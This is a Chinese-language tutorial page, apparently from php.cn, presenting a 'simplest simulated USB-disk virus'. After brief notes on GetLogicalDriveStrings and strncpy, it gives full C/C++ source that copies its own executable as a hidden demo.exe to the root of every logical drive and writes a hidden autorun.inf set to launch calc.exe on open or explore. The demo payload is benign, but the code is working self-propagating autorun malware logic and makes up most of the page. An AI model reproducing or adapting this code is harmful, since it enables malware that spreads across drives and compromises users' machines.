>백엔드 개발 >C#.Net 튜토리얼 >가장 간단한 시뮬레이션 U 디스크 바이러스(Autorun.inf)

가장 간단한 시뮬레이션 U 디스크 바이러스(Autorun.inf)

黄舟
黄舟원래의
2017-01-22 14:18:222383검색

autorun.inf是我们电脑使用中比较常见的系统文件 ,其作用是允许在双击磁盘时自动运行指定的某个文件。
下面介绍几个API函数
1.DWORD GetLogicalDriveStrings(DWORD nBufferLength, // size of bufferLPTSTR lpBuffer // drive strings buffer);
2.char *strncpy(char *dest,char *src,size_t n);第1个参数:char *strDest目的字符串指针。 第2个参数:const char *strSource源字符串指针。 第3个参数:size_t count  拷贝长度。 返回值:目的字符串指针。
下面是C/C++代码

#define _CRT_SECURE_NO_WARNINGS  
#include <windows.h>  
  
char *gstrAutoRun = "[autorun]\  
                    \r\nopen=calc.exe   \  
                    \r\nshell\\open\\Command=calc.exe   \  
                    \r\nshell\\explore=资源管理器(&X)    \  
                    \r\nshell\\explore\\Command=calc.exe    \  
                    \r\nshellexecute=calc.exe\  
                    \r\nshell\\Auto\\Command=calc.exe";  
  
void Infect(char *pstrFilePath)  
{  
    char strDriveStrings[MAXBYTE] = { 0 };  
    DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);  
    DWORD dwError = 0;  
    for (size_t i = 0; i < dwDriveStrLen; i += 4)  
    {  
        char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };  
        strncpy(strRoot, &strDriveStrings[i], 4);  
        strcpy(strTargetPath, strRoot);  
        strcat(strTargetPath, "demo.exe");  
        if (!CopyFileA(pstrFilePath,strTargetPath,false))  
        {  
            dwError = GetLastError();  
        }  
  
        SetFileAttributesA(strTargetPath, FILE_ATTRIBUTE_HIDDEN);  
        strcpy(strTargetPath, strRoot);  
        strcat(strTargetPath, "autorun.inf");  
        HANDLE hFile = CreateFileA(strTargetPath, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,nullptr);  
        DWORD dwLen = 0;  
        WriteFile(hFile, gstrAutoRun, strlen(gstrAutoRun), &dwLen, nullptr);  
        CloseHandle(hFile);  
    }  
}  
  
int main()  
{  
    char strSelfPath[MAX_PATH] = { 0 };  
    GetModuleFileNameA(nullptr, strSelfPath, MAX_PATH);  
    Infect(strSelfPath);  
    return 0;  
}

以上就是 最简单的模拟U盘病毒(Autorun.inf)的内容,更多相关内容请关注PHP中文网(www.php.cn)!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.